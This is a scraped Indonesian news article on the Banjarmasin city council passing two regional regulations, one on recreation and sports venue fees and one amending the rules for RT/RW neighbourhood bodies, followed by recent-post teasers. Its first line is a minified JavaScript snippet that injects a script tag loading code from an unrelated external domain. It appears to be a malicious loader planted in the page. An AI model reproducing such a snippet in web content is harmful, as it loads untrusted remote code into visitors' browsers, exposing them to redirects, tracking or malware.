(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

DPRD Kota Banjarmasin Sahkan Dua Raperda


BANJARMASIN, DPRD Kota Banjarmasin kembali menggelar kegiatan Paripurna Tingkat II dengan agenda pengesahan dua Rancangan Peraturan Daerah (Raperda). Adapun dua Raperda yang disahkan yaitu Peraturan Daerah (Perda) tentang Retribusi Tempat Rekreasi dan Olahraga serta Perubahan Kedua Atas Perda Kota Banjarmasin Nomor 23 Tahun 2010 tentang Pedoman Penyelenggaraan Lembaga Kemasyarakatan Rukun Tetangga (RT) dan Rukun Warga (RW) di Wilayah Kota Banjarmasin.

“Dengan sudah disahkannya dua Perda tersebut. Maka ini bisa menjadi pembuktian bahwa Anggota DPRD Kota Banjarmasin tetap propesional dalam mengemban tugas kedewanan, walau pun disisi lain kami juga harus bekerja keras dalam menghadapi Pemilu Legislatif dan Presiden Tahun 2019 yang sudah kian dekat,” ungkap Ketua DPRD Kota Banjarmasin Hj Ananda, Senin (18/3) disela kegiatan Paripurna di Aula DPRD Kota Banjarmasin.

Terkait harapan terhadap dua Raperda yang disahkan menjadi Perda sendiri, untuk Perda tentang Retribusi Tempat Rekreasi dan Olahraga diharapkannya bisa menjadi sumber baru bagi Pemerintah Kota (Pemko) Banjarmasin dalam meningkatkan Pendapatan Asli Daerah (PAD) untuk mendorong pelayanan publik dan pembangunan infrastruktur yang lebih baik di Kota Banjarmasin.

Kemudian untuk Perubahan Kedua Atas Perda Kota Banjarmasin Nomor 23 Tahun 2010 tentang Pedoman Penyelenggaraan Lembaga Kemasyarakatan RT dan RW di Wilayah Kota Banjarmasin diharapkannya juga dapat menjadi payung hukum dalam meningkatkan kesejahteraan bagi perangkat RT dan RW di Kota Banjarmasin.

“Kami juga akan terus mendorong Raperda lainnya yang masih dalam tahap pembahasan agar bisa segera diselesaikan. Hal ini agar target Perda yang bisa kami rampungkan pada Tahun 2019 dapat sesuai dengan yang ditargetkan” tambahnya.

Dalam kegiatan Paripurna kali ini, juga digelar kegiatan Paripurna Tingkat I dengan agenda penyampaian bahan Laporan Keterangan Pertanggungjawaban Walikota Banjarmasin Tahun 2018 dan penyampaian tiga buah Raperda prakarsa Pemerintah Kota Banjarmasin yaitu Raperda tentang Pembangunan Kawasan Industri Kota Banjarmasin, kemudian Perubahan atas Perda Kota Banjarmasin Nomor 21 Tahun 2014 tentang Administrasi Kependudukan dan Perubahan Kedua Atas Perda Kota Banjarmasin Nomor 13 Tahun 2012 tentang Retribusi Pelayanan Pasar. (arief)

Reporter:Arief
Editor:Cell

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

3 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

6 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

10 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

10 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

10 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

12 jam ago

This website uses cookies.